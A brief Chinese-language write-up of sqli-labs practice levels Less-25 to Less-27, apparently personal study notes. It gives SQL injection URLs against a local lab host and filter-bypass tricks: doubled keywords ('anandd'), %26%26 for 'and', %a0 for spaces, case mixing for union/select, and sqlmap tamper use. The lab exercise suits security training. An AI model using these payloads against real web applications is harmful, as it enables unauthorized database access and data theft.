在sql-labs中的Less 25关:
输入
http://192.168.18.21/sqli-labs-master/Less-25/?id=1' and ''='
发现and被过滤掉了。
利用双写绕过:
http://192.168.18.21/sqli-labs-master/Less-25/?id=1' anandd ''='
利用替换绕过:
http://192.168.18.21/sqli-labs-master/Less-25/?id=1' %26%26 ''='
注意:
有的程序在过滤时可能会过滤两次,使双写失效。
用sqlmap跑的时候需要手工代入脚本。
但是代入脚本后跑本关只能跑出当前数据库'security',不能跑出所有数据库。
因为在使用information_schema.schemata时,其中的or被替换了,只能手工添加双写。
Less 25a与Less 25类似,只是变为数字型的了。
Less 26与Less 25的区别在于空格也被过滤掉了。
测试只有%a0有效替换空格。
Less 26a与Less 26的区别在于加了)
Less 27中的union和select被过滤了,可以使用双写或大小写进行绕过。